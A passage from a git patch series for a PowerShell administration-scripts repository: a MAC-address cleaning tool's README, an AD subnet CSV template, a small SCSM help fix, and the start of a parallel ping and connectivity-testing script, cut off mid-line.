z_K7;3u327dWXO@`!Hybe5{5HcwNx6$>-MZQ`Jt>id9T`!um{htCa(m8hg zyiY~7A|a4U##?HN(F+h=7FD>C<<(6*bTXDn_gKzPv~j*?ar)qUM{tt9p+*WVH#_QB zjjCUWF}7Ry=IT;24FLnZHI%{DE{an6DDT0hQ z9Oae04cyOdO)|#eH$U_*_VO*laeI}cL}DRroB4}E+OLgE9O<8hl{PS!#wF#5&_r|I z_`Gr;JR;^5Ws+A$qu5slsJ~DD9^2G#9vi)ZIFPxNtp&Tl|LN&}YirL>Kvl>wvha5K zO9|I!&SKH0?hP->A?}tewH_vH)u=k%oE+DPc%`RC#Pm5`d%Q2?8zI3@enxb;GSxm; z|76simp3WDEFe&{%@*>mg~LG*oa%-ZU+qad{S_q>C3uO*fhO&F_4!zbNF4a}ANXf1 zUdrWI-aL9@toA`I3e{NVAe_VVTxdei-axm4k#iqAH|;(-lplp9JLt@N3zuz3R_)*) zQdB#nUE&rK2@kjDZ#_mI)?7=D_25AENH7__U713HuNqH@^Rpcf z4WxYoiQ#5Xr82*>apZp=4)!dbE7i@ku$d>35i>7rlCfg{A>0?}n2!(Aej=a`R3A|$ zjct>CDeD%^if&}y_^MDd??IpLnpLo8yNXG)Nt!h59M#oJuAx9DYRmb_?k}E=?>xc=)0W_LKlP&$Eafn(wSlB0T0X&zPWmOLA5?|u)o@l(q@4KS zjBsGU-yXcdwx9O!E9=31#Nda(>a?8si)GXrz%N%2(5@5L_ljjlpSjY}M#3OfxPdPf zWD52)QlQfp!gu;9a6_IVO}b@pFt#?y#4dVr%L#0GPdy|)hf-RIN#a0&8Bi_$!!LZG zpPR)dh8M8g)j#$-sxaWwmI(Uo2QOI_K`Mu6q zT5+2YtjM)Oe=9O}-A&F_nx?~aXn9gDr0qC+If2;UdjdTgJq4uTWhmpCD>O6i`%$|W z2P4t|U0ldjE#lBljMN;iIkvMKmWEnIF z{N|HbcR8v!B!-W4Cjz{yvp??76ul+m5iIJ0=^f--E%LD($!_*Ma!pu8*JP=~$fxDm zn_;?f&y}`e?FjKiC{0)tXAbPhLsv)J=nd}DG&RnD8dlpLY9$B>y)H-6Z@&WfA{m+O zb0E%&InrDZ*=4BEYR{$3Y#7$a-o(LvJ(|1NK4dq@wmXPYPx+mtmGqo@LiJ(PFxXpy z##xqR7JbNNih7oJBwe>ok2ro`!7gNWJ4##g!D@qU@^ssRMz#H#SF9!_XSV>Q1tnE! zIOI6Jv|4ujJF8Ju%`u5wq?yj{@QQ5Xlv^4m&l?j3BJoySk40YSJz<qCKvxwKd?@=Q{^wOu%Ar!uU&hNOgC(j<6f7Pz5tp$-i zZ&<=Rw$!aRly0#RaR|0eaT^NQP=~@r;fj8bIoOQ{@$o*4R=Y7i5uw&_6j3vhWbKG_ zJXqm*HV3o>`1|j82^3bLl_wY>LMgRO+GoN$jdEnCvzZlwA-EgVez~-6=@TZ$CMU-- zOjP*nb;~|@^1>`5qWuQH|F`f#9EYv7i>c0n1*XOk1xcqp%3-VS9ry@C!6XkZ*s!fE z!|*(iGu34x@Ry_g$75Ufu**`(6m*;AY=%Q{{ZuwaeU0k7&hzKj?1TG`WZz_d%RAde z#xZ#GU}iS!?)n_?cYW-MezMt09US(pATt)2%dUw_;SW?Ioj}9=Iu8xJG4pPwuJJj;PLvkkK?#>stLtLn z(dUB)ZUN&UJELFhl7O4iI!`)?N{!SLu627qqBWaYjJwkw3tUpn6Jo~5T*Qyns_id2 zP{OFhYyy`{JZS0^2V=~DTu`;1hVJ4=UQ%baZu0=sTNT7h6tPi0=sr1)#Sq~3M2eqhwQjq=ULo?JiVfX@aFyjY}2@HVlbx}AR1MxI$^~=Xh)axlz;>@w9jE( zuU@8-fWMt_{{^KbrCaqkp0{)dV|NYiiKrz%4?c#lMvmm|d}W)p+I>ow%^HrfWQL)S zWvF2m=_okbeDo7}0IGOxr zszV;EeMA-EBI(=z%ZNIwj6(CgIK<8^GRP^#EVLOUfrK>B93iwYO*s*+l3(Ne=_eeA zT+7WXvk8$Sqh5EsT4{$_v=gR z3DI@O)NS3(G}3*D@6Xj_i;JzVuKA5JWSa~5Q+i92MC*J3*5oi3Gj8IyMrta|HmvDZ zFj`2cWa{xi-hc@^r-yBSnjBot6hA?6+H1hGDTtxVSW#rekT(eZ87G4)5@4L9*dPrf33JZeH-r{;6LE$POH?rK|XMyC7bA@l3xwKfTt_8 z^7}pnDpRg@t=VogY24H{V5aMGn6CDjF0l`m6TL5-GH2qU={ItZ^qGDIX^OE=qcyje zInKmXGGC&HmW*{J#yfs~g1}4l^ka%UZls%(rW-^OsUSc3+;wl!H{w42ujqbU> z%&MJ}*@%1Z&9o7mE76S@e|_2sK{SS@BarK3u?G{IjZ8J&CcY@uPd35BIN81R3lWo^ z7$V+ayR)4ME7LlqWQdxC?fkm-`fJ0D`9}-fuMsh)Ug(jKjPsXF@t7m!qmkq9!duh( zrag^yIBBpv^-}M$MC%;=Dg7@m3YAP`cCLNCB2@K;x`68 zpX~Fh^6M%~CyOKye0wZ%S->s&2dtb@ z29cM?SSIENDrk$O8 zYJmmNK&%+#H5>8?V$`>4PFYUwMs~TIdQeg?louti?v+0dF;;u70(*dSj~!WtOZz~h zYe}}Q)1A7hckv4=D@XYFwIGhGUGdzEYo;|G&TikbvLl0X4Mx*eldvh*iAM-1C@7#h zEL1R?7hZ2QKnZ32e2Ct|!$U-s%i6$$QMg$q;A*SL;NTwX^g_Fi*i;paRAt$Uw54I? zwI1{Q3pk$~78m%fUbm8aCUl<#_YiaEvnxivujYBvsJwaba5Z2MfNO&S%4qnJs6|0y zbTV#LbYEFXNol3S^3MfpsF{yEbd*<>C_*W(U;RMYfkc5}xTljcFIXN|SILrSIA=kb zFO^$$#X{<;nX;Pc_~84O8%|!E5ztd>xFOQ(x?S>9&-ab*0qNPtVtP}*2`N8VC2Fy# z=l1z}LfV9p(P{!4>@9qCZ8W8+JC+mk~60bAv3!_JR6 z+(9oSq8Be7Ah!jr&^5Qwdcz&#x;T4HmsTGZ|Jl9U@^=?qu_#*wbHP@pesq?foghCU zX7_yNS(l zz8QNew!%PBlC(VSZ68H_FLwRJsAo5y$SIg50ZVdmvP_r9IhUn7;q;I?RiP2#L6WUH|C{UXR-y`X@%z%IYY-6^w&p+XX7-+u*zh~A z(Z;ux@B1dOiPasL2gR+DZc=&DuP^crE<#^k+qq0r>v2g<4y*6yyb{@mdkRpVa2c8 z+T3%fypa#@uBc&bYWV?+x>KQs01nC{SB{R=756d@S9-bW3M1tt#EutWlEN|_?*>cH^5^tVkWgDE>@(sikAw^E2h^1 zYM+*03B`0~(dg*QdIUn+VIUrdNe}qTYH93im}Z2llV5$mN;KjBvt~(Sw|_BXk5er& za{O+$epg?b$@%xg?_OtoXN>an(Y~4|ie!dp@~Z~JcwRmIQ#C<={l=ASu&5{fKiVVV z=OaZ=b2)8?DVF0_^!ApxG}I%ifQfhekT7!Y2gPUwX`ciK>`%lu!~EK5!3pDa*75nYa(BuZ~Y!07cy0T|TfD6}U`I2P8B&m>`%s`8wh> z1b=G%BRGIot*MAOi>Pg2BwYYm>82#MBM*@>F-Nvm(7Qy# z>|+hk6+_sXdQ@*c`dYyIKJfT+Itb^Z*W+PGs??(TV-h@z$voN9qN`|^%=D+;ntG`dC%gNHSu9yb3Kf}rNQFzuED8xbZ zKCRwUS;mHdA*()CKshdvp@Zi(nYQWe`R;X&|0uh)cWS+NaxR%j!v|*7kJ@Igc`8U zKi=sRNlj87or>U<$bIyh;FmgE3doDm9n5sJqJ<@atOi1gNLMC}$*vfrr3>ra^W4)MvSdh5AbG|iXzK$jM&qtL;hKRCBHb{BBJT^VR)AWP0(Kd45Rp z%s*GD|oxk$OVkQ1(p? z$N{x`DF1!Q5Wd}iXdNTy<9~i+A5<#ahm>)g$6evbSoHZ|;&YVXPih&G)R?NaO0Q21 z;Y@oDqT#6Kf8m!yr|wh6kn*tKGICL7Xk@g#PqGo^BrGE% z19xDQbPxNvIhOxB?d$G-ajOQpV?9-szI8eQ7h=1bZIeF zN-a|ueBU__Hdj@b8k<#vup3L2WNrqT45nh9;v5sqM$4(An<8@hxb~R?4X!d&sYCBk z71v6o*W_!y=<`-w_-o4)UT{~_Em||!9~0sfJmGsnRY6}-ARZ8xI{II3T#0hip=vS(SkO< zIGlZrOujD4xb}Wr=;~c!l9`X|oNmN@?=leg06c&Eg^(n?Z39ueLcMeF+a*%{WZo2kB2{i7~CAnVPOgfrNu?68NW5) zD1z$UhK6!8TXwdlPhV{P!&iD1Lox8u|C$itIdRW%OX0;aRI~2$@(WQ_+VK%uSg?1l z05s{SyxAbbOI0F-^jJt9^lvI8U@Q7_T!5^tfzEOV3+;K*t7#uH97l?6^WAtn>bu`L z96D`9SJhU;Xqu&Jm?kof_v;uv2hxon+B=!uJZ0zo8>*^uDebT2<%dH&F) zC_TD}@xR(O@F*|%^xEiaGO0Jdp9_y}Own39a^G2w7%sJ6n#-VHW9qpGW}}w`saxTN z$!YIQjtzFsXshZ|9nUasZ!Ah7H$E5MyIED9ST2p}xMPwMJV)^8T1L_59;WBsf|2p@ zpc>ZO>pA`=)FVFSSJ6Uhj7p^|2CRoYZ4RV9~ZM za;|RY3c^8<5!)XaBC9se~UMgDA442 zzw_v_}9c&s<Z#<) zBy)F?6tBmt^?jW!1NE%IK^}3@(a!hE0jWI_yOeMseDk%P6g8$o8HDTF7xa&NR2D3E z9SHbQ?tB4>y}E^0!7CedWODLNVq#+cojO)-RJdvUvLGk7LdjyC8)nP9}N#*Xc$ae0=*} zlR*AY;QnL=XE!=d-lf^e)KY>EEz!IasD-kg-} zBLA~VJtE5s+Sp+&#S4j*g?8e{czwgKZ~> z)Z*G(usSM&S>|NsxG@nB^oPj%_;Ci7J1okt#~ccb&{U-Pd2@acfV% z#KThA#I-0atN!lZ={{X4QHzMPaJz#fn((H4CN1VCBfSFTm0N&KP8m zsD(uHg#f$R`3Q2PP-dR!OVY?gtx<06;li)cgajG!kKDw|(4+T6ZyBhKT*^>!iAyKYSe(?SE zkTkZ(f4E#$>v;)78T{c0OJr=9-|zSTTlDvzTt3G-Dop#uaO9Qa;T|<*O{HQ5^LPIN D(jbf9 literal 0 HcmV?d00001 From 22c12d2ab7be4416c041948fa8c21be406b08749 Mon Sep 17 00:00:00 2001 From: Francois-Xavier Cat Date: Wed, 24 Feb 2016 18:01:57 -0500 Subject: [PATCH 064/561] Create README.md --- TOOL-Clean-MacAddress/README.md | 40 +++++++++++++++++++++++++++++++++ 1 file changed, 40 insertions(+) create mode 100644 TOOL-Clean-MacAddress/README.md diff --git a/TOOL-Clean-MacAddress/README.md b/TOOL-Clean-MacAddress/README.md new file mode 100644 index 00000000..8e977ed6 --- /dev/null +++ b/TOOL-Clean-MacAddress/README.md @@ -0,0 +1,40 @@ +[CleanMacaddress01]: https://github.com/lazywinadmin/PowerShell/blob/master/TOOL-Clean-MacAddress/Clean-MacAddress01.jpg +# Clean-MacAddress + +## Loading the function + +```PowerShell +# Load the function in your PS +. .\Clean-MacAddress.ps1 +``` + +![alt text][CleanMacAddress01] + +## Clean a Mac Address + +```PowerShell +# Clean a Mac Address +Clean-MacAddress -MacAddress '00:11:22:33:44:55' +001122334455 + +# Clean a Mac Address and convert to UpperCase +Clean-MacAddress -MacAddress '00:11:22:dD:ee:FF' -Uppercase +001122DDEEFF + +# Clean a Mac Address and convert to LowerCase +Clean-MacAddress -MacAddress '00:11:22:dD:ee:FF' -Lowercase +001122ddeeff + +# Clean a Mac Address and convert to LowerCase and add a dash separator +Clean-MacAddress -MacAddress '00:11:22:dD:ee:FF' -Lowercase -Separator '-' +00-11-22-dd-ee-ff + +# Clean a Mac Address and convert to LowerCase and add a dot separator +Clean-MacAddress -MacAddress '00:11:22:dD:ee:FF' -Lowercase -Separator '.' +00.11.22.dd.ee.ff + +# Clean a Mac Address and convert to LowerCase and add a colon separator +Clean-MacAddress -MacAddress '00:11:22:dD:ee:FF' -Lowercase -Separator : +00:11:22:dd:ee:ff + +``` From fb4b7b837a125ba4ee10c74832071b2ff173a65a Mon Sep 17 00:00:00 2001 From: Francois-Xavier Cat Date: Wed, 24 Feb 2016 18:03:44 -0500 Subject: [PATCH 065/561] Update README.md --- TOOL-Clean-MacAddress/README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/TOOL-Clean-MacAddress/README.md b/TOOL-Clean-MacAddress/README.md index 8e977ed6..1507c1b3 100644 --- a/TOOL-Clean-MacAddress/README.md +++ b/TOOL-Clean-MacAddress/README.md @@ -1,4 +1,4 @@ -[CleanMacaddress01]: https://github.com/lazywinadmin/PowerShell/blob/master/TOOL-Clean-MacAddress/Clean-MacAddress01.jpg +[CleanMacaddress01]: https://github.com/lazywinadmin/PowerShell/blob/master/TOOL-Clean-MacAddress/Clean-MacAddress01.png # Clean-MacAddress ## Loading the function From 250f725b35b0015df23811a975758830f70594a2 Mon Sep 17 00:00:00 2001 From: Francois-Xavier Cat Date: Wed, 24 Feb 2016 18:05:16 -0500 Subject: [PATCH 066/561] Update README.md --- TOOL-Clean-MacAddress/README.md | 2 ++ 1 file changed, 2 insertions(+) diff --git a/TOOL-Clean-MacAddress/README.md b/TOOL-Clean-MacAddress/README.md index 1507c1b3..727adbe5 100644 --- a/TOOL-Clean-MacAddress/README.md +++ b/TOOL-Clean-MacAddress/README.md @@ -1,6 +1,8 @@ [CleanMacaddress01]: https://github.com/lazywinadmin/PowerShell/blob/master/TOOL-Clean-MacAddress/Clean-MacAddress01.png # Clean-MacAddress +This function is used to clean up a Mac Address string. +I'm using this for some report and for SCCM Automation to keep everything clean :-) ## Loading the function ```PowerShell From ac3047d13e94707958f6d8db001dad1877b53b82 Mon Sep 17 00:00:00 2001 From: Francois-Xavier Cat Date: Mon, 7 Mar 2016 18:29:08 -0500 Subject: [PATCH 067/561] Add CSV Template Requested by readers. --- AD-SITE-Add-ADSubnet(ADSI)/AD-Subnets_template.csv | 4 ++++ 1 file changed, 4 insertions(+) create mode 100644 AD-SITE-Add-ADSubnet(ADSI)/AD-Subnets_template.csv diff --git a/AD-SITE-Add-ADSubnet(ADSI)/AD-Subnets_template.csv b/AD-SITE-Add-ADSubnet(ADSI)/AD-Subnets_template.csv new file mode 100644 index 00000000..e93e1991 --- /dev/null +++ b/AD-SITE-Add-ADSubnet(ADSI)/AD-Subnets_template.csv @@ -0,0 +1,4 @@ +Name,Location,Site,Description +192.168.1.0/24,Paris,FX2,PROD Servers VLAN 15 +192.168.2.0/24,London,FX3,PROD Servers VLAN 16 +192.168.3.0/24,Montreal,MTL1,DEV Servers VLAN 101 From 7e01d1f244bbb188314f832a20c06fea4039a5e9 Mon Sep 17 00:00:00 2001 From: Francois-Xavier Cat Date: Tue, 8 Mar 2016 22:42:57 -0500 Subject: [PATCH 068/561] Update Get-SCSMWorkItemAffectedUser.ps1 --- .../Get-SCSMWorkItemAffectedUser.ps1 | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/SCSM-Get-SCSMWorkItemAffectedUser/Get-SCSMWorkItemAffectedUser.ps1 b/SCSM-Get-SCSMWorkItemAffectedUser/Get-SCSMWorkItemAffectedUser.ps1 index 48681e01..7a384caa 100644 --- a/SCSM-Get-SCSMWorkItemAffectedUser/Get-SCSMWorkItemAffectedUser.ps1 +++ b/SCSM-Get-SCSMWorkItemAffectedUser/Get-SCSMWorkItemAffectedUser.ps1 @@ -14,10 +14,10 @@ Specifies the GUID of the SMObject on which the affected need to be retrieve. .EXAMPLE - Get-SCSMWorkItemAffectedUser -SMObject $SR,IR + Get-SCSMWorkItemAffectedUser -SMObject $SR,$IR .EXAMPLE - $SR,IR | Get-SCSMWorkItemAffectedUser + $SR,$IR | Get-SCSMWorkItemAffectedUser .EXAMPLE Get-SCSMWorkItemAffectedUser -GUID 5bd5e783-c8a1-0217-9e19-f82823ef4f87 From bde0a32cd3a7470c61de86433ba86e608bdb4aa5 Mon Sep 17 00:00:00 2001 From: Francois-Xavier Cat Date: Wed, 9 Mar 2016 13:24:11 -0500 Subject: [PATCH 069/561] Upload Invoke-Ping from Warren F Really fast ping tool --- TOOL-Invoke-Ping/Invoke-Ping.ps1 | 961 +++++++++++++++++++++++++++++++ 1 file changed, 961 insertions(+) create mode 100644 TOOL-Invoke-Ping/Invoke-Ping.ps1 diff --git a/TOOL-Invoke-Ping/Invoke-Ping.ps1 b/TOOL-Invoke-Ping/Invoke-Ping.ps1 new file mode 100644 index 00000000..b27d44d7 --- /dev/null +++ b/TOOL-Invoke-Ping/Invoke-Ping.ps1 @@ -0,0 +1,961 @@ +Function Invoke-Ping +{ +<# +.SYNOPSIS + Ping or test connectivity to systems in parallel + +.DESCRIPTION + Ping or test connectivity to systems in parallel + + Default action will run a ping against systems + If Quiet parameter is specified, we return an array of systems that responded + If Detail parameter is specified, we test WSMan, RemoteReg, RPC, RDP and/or SMB + +.PARAMETER ComputerName + One or more computers to test + +.PARAMETER Quiet + If specified, only return addresses that responded to Test-Connection + +.PARAMETER Detail + Include one or more additional tests as specified: + WSMan via Test-WSMan + RemoteReg via Microsoft.Win32.RegistryKey + RPC via WMI + RDP via port 3389 + SMB via \\ComputerName\C$ + * All tests + +.PARAMETER Timeout + Time in seconds before we attempt to dispose an individual query. Default is 20 + +.PARAMETER Throttle + Throttle query to this many parallel runspaces. Default is 100. + +.PARAMETER NoCloseOnTimeout + Do not dispose of timed out tasks or attempt to close the runspace if threads have timed out + + This will prevent the script from hanging in certain situations where threads become non-responsive, at the expense of leaking memory within the PowerShell host. + +.EXAMPLE + Invoke-Ping Server1, Server2, Server3 -Detail * + + # Check for WSMan, Remote Registry, Remote RPC, RDP, and SMB (via C$) connectivity against 3 machines + +.EXAMPLE + $Computers | Invoke-Ping + + # Ping computers in $Computers in parallel + +.EXAMPLE + $Responding = $Computers | Invoke-Ping -Quiet + + # Create a list of computers that successfully responded to Test-Connection + +.LINK + https://gallery.technet.microsoft.com/scriptcenter/Invoke-Ping-Test-in-b553242a + +.FUNCTIONALITY + Computers + +.NOTES + Warren F + http://ramblingcookiemonster.github.io/Invoke-Ping/ + +#> + [cmdletbinding(DefaultParameterSetName = 'Ping')] + param ( + [Parameter(ValueFromPipeline = $true, + ValueFromPipelineByPropertyName = $true, + Position = 0)] + [string[]]$ComputerName, + + [Parameter(ParameterSetName = 'Detail')] + [validateset("*", "WSMan", "RemoteReg", "RPC", "RDP", "SMB")] + [string[]]$Detail, + + [Parameter(ParameterSetName = 'Ping')] + [switch]$Quiet, + + [int]$Timeout = 20, + + [int]$Throttle = 100, + + [switch]$NoCloseOnTimeout + ) + Begin + { + + #http://gallery.technet.microsoft.com/Run-Parallel-Parallel-377fd430 + function Invoke-Parallel + { + [cmdletbinding(DefaultParameterSetName = 'ScriptBlock')] + Param ( + [Parameter(Mandatory = $false, position = 0, ParameterSetName = 'ScriptBlock')] + [System.Management.Automation.ScriptBlock]$ScriptBlock, + + [Parameter(Mandatory = $false, ParameterSetName = 'ScriptFile')] + [ValidateScript({ test-path $_ -pathtype leaf })] + $ScriptFile, + + [Parameter(Mandatory = $true, ValueFromPipeline = $true)] + [Alias('CN', '__Server', 'IPAddress', 'Server', 'ComputerName')] + [PSObject]$InputObject, + + [PSObject]$Parameter, + + [switch]$ImportVariables, + + [switch]$ImportModules, + + [int]$Throttle = 20, + + [int]$SleepTimer = 200, + + [int]$RunspaceTimeout = 0, + + [switch]$NoCloseOnTimeout = $false, + + [int]$MaxQueue, + + [validatescript({ Test-Path (Split-Path $_ -parent) })] + [string]$LogFile = "C:\temp\log.log", + + [switch]$Quiet = $false + ) + + Begin + { + + #No max queue specified? Estimate one. + #We use the script scope to resolve an odd PowerShell 2 issue where MaxQueue isn't seen later in the function + if (-not $PSBoundParameters.ContainsKey('MaxQueue')) + { + if ($RunspaceTimeout -ne 0) { $script:MaxQueue = $Throttle } + else { $script:MaxQueue = $Throttle * 3 } + } + else + { + $script:MaxQueue = $MaxQueue + } + + Write-Verbose "Throttle: '$throttle' SleepTimer '$sleepTimer' runSpaceTimeout '$runspaceTimeout' maxQueue '$maxQueue' logFile '$logFile'" + + #If they want to import variables or modules, create a clean runspace, get loaded items, use those to exclude items + if ($ImportVariables -or $ImportModules) + { + $StandardUserEnv = [powershell]::Create().addscript({ + + #Get modules and snapins in this clean runspace + $Modules = Get-Module | Select -ExpandProperty Name + $Snapins = Get-PSSnapin | Select -ExpandProperty Name + + #Get variables in this clean runspace + #Called last to get vars like $? into session + $Variables = Get-Variable | Select -ExpandProperty Name + + #Return a hashtable where we can access each. + @{ + Variables = $Variables + Modules = $Modules + Snapins = $Snapins + } + }).invoke()[0] + + if ($ImportVariables) + { + #Exclude common parameters, bound parameters, and automatic variables + Function _temp { [cmdletbinding()] + param () } + $VariablesToExclude = @((Get-Command _temp | Select -ExpandProperty parameters).Keys + $PSBoundParameters.Keys + $StandardUserEnv.Variables) + Write-Verbose "Excluding variables $(($VariablesToExclude | sort) -join ", ")" + + # we don't use 'Get-Variable -Exclude', because it uses regexps. + # One of the veriables that we pass is '$?'. + # There could be other variables with such problems. + # Scope 2 required if we move to a real module + $UserVariables = @(Get-Variable | Where { -not ($VariablesToExclude -contains $_.Name) }) + Write-Verbose "Found variables to import: $(($UserVariables | Select -expandproperty Name | Sort) -join ", " | Out-String).`n" + + } + + if ($ImportModules) + { + $UserModules = @(Get-Module | Where { $StandardUserEnv.Modules -notcontains $_.Name -and (Test-Path $_.Path -ErrorAction SilentlyContinue) } | Select -ExpandProperty Path) + $UserSnapins = @(Get-PSSnapin | Select -ExpandProperty Name | Where { $StandardUserEnv.Snapins -notcontains $_ }) + } + } + + #region functions + + Function Get-RunspaceData + { + [cmdletbinding()] + param ([switch]$Wait) + + #loop through runspaces + #if $wait is specified, keep looping until all complete + Do + { + + #set more to false for tracking completion + $more = $false + + #Progress bar if we have inputobject count (bound parameter) + if (-not $Quiet) + { + Write-Progress -Activity "Running Query" -Status "Starting threads"` + -CurrentOperation "$startedCount threads defined - $totalCount input objects - $script:completedCount input objects processed"` + -PercentComplete $(Try { $script:completedCount / $totalCount * 100 } + Catch { 0 }) + } + + #run through each runspace. + Foreach ($runspace in $runspaces) + { + + #get the duration - inaccurate + $currentdate = Get-Date + $runtime = $currentdate - $runspace.startTime + $runMin = [math]::Round($runtime.totalminutes, 2) + + #set up log object + $log = "" | select Date, Action, Runtime, Status, Details + $log.Action = "Removing:'$($runspace.object)'" + $log.Date = $currentdate + $log.Runtime = "$runMin minutes" + + #If runspace completed, end invoke, dispose, recycle, counter++ + If ($runspace.Runspace.isCompleted) + { + + $script:completedCount++ + + #check if there were errors + if ($runspace.powershell.Streams.Error.Count -gt 0) + { + + #set the logging info and move the file to completed + $log.status = "CompletedWithErrors" + Write-Verbose ($log | ConvertTo-Csv -Delimiter ";" -NoTypeInformation)[1] + foreach ($ErrorRecord in $runspace.powershell.Streams.Error) + { + Write-Error -ErrorRecord $ErrorRecord + } + } + else + { + + #add logging details and cleanup + $log.status = "Completed" + Write-Verbose ($log | ConvertTo-Csv -Delimiter ";" -NoTypeInformation)[1] + } + + #everything is logged, clean up the runspace + $runspace.powershell.EndInvoke($runspace.Runspace) + $runspace.powershell.dispose() + $runspace.Runspace = $null + $runspace.powershell = $null + + } + + #If runtime exceeds max, dispose the runspace + ElseIf ($runspaceTimeout -ne 0 -and $runtime.totalseconds -gt $runspaceTimeout) + { + + $script:completedCount++ + $timedOutTasks = $true + + #add logging details and cleanup + $log.status = "TimedOut" + Write-Verbose ($log | ConvertTo-Csv -Delimiter ";" -NoTypeInformation)[1] + Write-Error "Runspace timed out at $($runtime.totalseconds) seconds for the object:`n$($runspace.object | out-string)" + + #Depending on how it hangs, we could still get stuck here as dispose calls a synchronous method on the powershell instance + if (!$noCloseOnTimeout) { $runspace.powershell.dispose() } + $runspace.Runspace = $null + $runspace.powershell = $null + $completedCount++ + + } + + #If runspace isn't null set more to true + ElseIf ($runspace.Runspace -ne $null) + { + $log = $null + $more = $true + } + + #log the results if a log file was indicated + if ($logFile -and $log) + { + ($log | ConvertTo-Csv -Delimiter ";" -NoTypeInformation)[1] | out-file $LogFile -append + } + } + + #Clean out unused runspace jobs + $temphash = $runspaces.clone() + $temphash | Where { $_.runspace -eq $Null } | ForEach { + $Runspaces.remove($_) + } + + #sleep for a bit if we will loop again + if ($PSBoundParameters['Wait']) { Start-Sleep -milliseconds $SleepTimer } + + #Loop again only if -wait parameter and there are more runspaces to process + } + while ($more -and $PSBoundParameters['Wait']) + + #End of runspace function + } + + #endregion functions + + #region Init + + if ($PSCmdlet.ParameterSetName -eq 'ScriptFile') + { + $ScriptBlock = [scriptblock]::Create($(Get-Content $ScriptFile | out-string)) + } + elseif ($PSCmdlet.ParameterSetName -eq 'ScriptBlock') + { + #Start building parameter names for the param block + [string[]]$ParamsToAdd = '$_' + if ($PSBoundParameters.ContainsKey('Parameter')) + { + $ParamsToAdd += '$Parameter' + } + + $UsingVariableData = $Null + + + # This code enables $Using support through the AST. + # This is entirely from Boe Prox, and his https://github.com/proxb/PoshRSJob module; all credit to Boe! + + if ($PSVersionTable.PSVersion.Major -gt 2) + { + #Extract using references + $UsingVariables = $ScriptBlock.ast.FindAll({ $args[0] -is [System.Management.Automation.Language.UsingExpressionAst] }, $True) + + If ($UsingVariables) + { + $List = New-Object 'System.Collections.Generic.List`1[System.Management.Automation.Language.VariableExpressionAst]' + ForEach ($Ast in $UsingVariables) + { + [void]$list.Add($Ast.SubExpression) + } + + $UsingVar = $UsingVariables | Group Parent | ForEach { $_.Group | Select -First 1 } + + #Extract the name, value, and create replacements for each + $UsingVariableData = ForEach ($Var in $UsingVar) + { + Try + { + $Value = Get-Variable -Name $Var.SubExpression.VariablePath.UserPath -ErrorAction Stop + $NewName = ('$__using_{0}' -f $Var.SubExpression.VariablePath.UserPath) + [pscustomobject]@{ + Name = $Var.SubExpression.Extent.Text + Value = $Value.Value + NewName = $NewName + NewVarName = ('__using_{0}' -f $Var.SubExpression.VariablePath.UserPath) + } + $ParamsToAdd += $NewName + } + Catch + { + Write-Error "$($Var.SubExpression.Extent.Text) is not a valid Using: variable!" + } + } + + $NewParams = $UsingVariableData.NewName -join ', ' + $Tuple = [Tuple]::Create($list, $NewParams) + $bindingFlags = [Reflection.BindingFlags]"Default,NonPublic,Instance" + $GetWithInputHandlingForInvokeCommandImpl = ($ScriptBlock.ast.gettype().GetMethod('GetWithInputHandlingForInvokeCommandImpl', $bindingFlags)) + + $StringScriptBlock = $GetWithInputHandlingForInvokeCommandImpl.Invoke($ScriptBlock.ast, @($Tuple)) + + $ScriptBlock = [scriptblock]::Create($StringScriptBlock) + + Write-Verbose $StringScriptBlock + } + } + + $ScriptBlock = $ExecutionContext.InvokeCommand.NewScriptBlock("param($($ParamsToAdd -Join ", "))`r`n" + $Scriptblock.ToString()) + } + else + { + Throw "Must provide ScriptBlock or ScriptFile"; Break + } + + Write-Debug "`$ScriptBlock: $($ScriptBlock | Out-String)" + Write-Verbose "Creating runspace pool and session states" + + #If specified, add variables and modules/snapins to session state + $sessionstate = [System.Management.Automation.Runspaces.InitialSessionState]::CreateDefault() + if ($ImportVariables) + { + if ($UserVariables.count -gt 0) + { + foreach ($Variable in $UserVariables) + { + $sessionstate.Variables.Add((New-Object -TypeName System.Management.Automation.Runspaces.SessionStateVariableEntry -ArgumentList $Variable.Name, $Variable.Value, $null)) + } + } + } + if ($ImportModules) + { + if ($UserModules.count -gt 0) + { + foreach ($ModulePath in $UserModules) + { + $sessionstate.ImportPSModule($ModulePath) + } + } + if ($UserSnapins.count -gt 0) + { + foreach ($PSSnapin in $UserSnapins) + { + [void]$sessionstate.ImportPSSnapIn($PSSnapin, [ref]$null) + } + } + } + + #Create runspace pool + $runspacepool = [runspacefactory]::CreateRunspacePool(1, $Throttle, $sessionstate, $Host) + $runspacepool.Open() + + Write-Verbose "Creating empty collection to hold runspace jobs" + $Script:runspaces = New-Object System.Collections.ArrayList + + #If inputObject is bound get a total count and set bound to true + $global:__bound = $false + $allObjects = @() + if ($PSBoundParameters.ContainsKey("inputObject")) + { + $global:__bound = $true + } + + #Set up log file if specified + if ($LogFile) + { + New-Item -ItemType file -path $logFile -force | Out-Null + ("" | Select Date, Action, Runtime, Status, Details | ConvertTo-Csv -NoTypeInformation -Delimiter ";")[0] | Out-File $LogFile + } + + #write initial log entry + $log = "" | Select Date, Action, Runtime, Status, Details + $log.Date = Get-Date + $log.Action = "Batch processing started" + $log.Runtime = $null + $log.Status = "Started" + $log.Details = $null + if ($logFile) + { + ($log | convertto-csv -Delimiter ";" -NoTypeInformation)[1] | Out-File $LogFile -Append + } + + $timedOutTasks = $false + + #endregion INIT + } + + Process + { + + #add piped objects to all objects or set all objects to bound input object parameter + if (-not $global:__bound) + { + $allObjects += $inputObject + } + else + { + $allObjects = $InputObject + } + } + + End + { + + #Use Try/Finally to catch Ctrl+C and clean up. + Try + { + #counts for progress + $totalCount = $allObjects.count + $script:completedCount = 0 + $startedCount = 0 + + foreach ($object in $allObjects) + { + + #region add scripts to runspace pool + + #Create the powershell instance, set verbose if needed, supply the scriptblock and parameters + $powershell = [powershell]::Create() + + if ($VerbosePreference -eq 'Continue') + { + [void]$PowerShell.AddScript({ $VerbosePreference = 'Continue' }) + } + + [void]$PowerShell.AddScript($ScriptBlock).AddArgument($object) + + if ($parameter) + { + [void]$PowerShell.AddArgument($parameter) + } + + # $Using support from Boe Prox + if ($UsingVariableData) + { + Foreach ($UsingVariable in $UsingVariableData) + { + Write-Verbose "Adding $($UsingVariable.Name) with value: $($UsingVariable.Value)" + [void]$PowerShell.AddArgument($UsingVariable.Value) + } + } + + #Add the runspace into the powershell instance + $powershell.RunspacePool = 